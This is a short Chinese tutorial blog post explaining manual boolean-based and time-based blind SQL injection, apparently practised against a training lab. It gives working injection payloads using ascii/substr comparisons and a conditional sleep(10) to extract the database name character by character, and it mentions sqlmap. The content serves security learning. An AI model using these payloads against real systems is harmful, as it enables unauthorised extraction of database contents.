SQL注入之——布尔型与时间型手工盲注

布尔型与时间型手工盲注


在我们的注入语句被带入数据库查询但却什么都没有返回的情况我们该怎么办?
例如应用程序就会返回一个“通用的”的页面,戒者重定向一个通用页面(可能为网站首页)。
这时,我们之前学习的 SQL 注入办法就无法使用了。

盲注

盲注即在 SQL 注入过程中,SQL 语句执行选择后,选择的数据不能回显到前端,
我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注。

SQL 盲注分为三大类

基于布尔型 SQL 盲注

逻辑原理

	输入语句 select ascii(substr(database(),1,1))>xx  其中xx自由变换 <>=也可以变换
		;通过对比据库表名的第一个字符。ascii 码的长度,判断出数据库表名第一个字符
		substr()函数
		substr(string,start,length)
			string(必需)规定要返回其中一部分的字符串。
			start(必需)规定在字符串的何处开始。
			length(可选)规定被返回字符串的长度。
			那么通过这个方法,虽然只能通过判断单个字符,我们同样可以使用 length 来判断表名的长度
		例如输入语句:select length(database())<xx;

web页面操作

	输入 sql 语句:vince' and ascii(substr(database(),1,1))=112#,
	不断修改112ascii码 显示信息出来则为正确,通过这个方法,
	就能得到后台数据库的名称的第一个字符的 ascii 码
	转码工具 char (112)
	得到第一位密码

基于时间型 SQL 盲注

		 base on time(时间型)盲注
			可以通过后端的执行时间来进行注入。这里会用到的 payload: vince' and sleep(x)#
			
			基于时间的延迟,构造一个拼接语句: vince' and if(substr(database(),1,1)='X' (猜测点)',sleep(10),null#
				如果猜测真确,那么就会响应 10 秒
			
			例如vince' and if(substr(database(),1,1)='p',sleep(10),null)#
				再 web控制台下,判断出 database 的表名的一个字符为p
					逐步向下获取数据

基于报错型 SQL 盲注

注意

实际操作中通常不会使用手动盲注的办法,可以使用 sqlmap 等工具来增加盲注的效率。
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值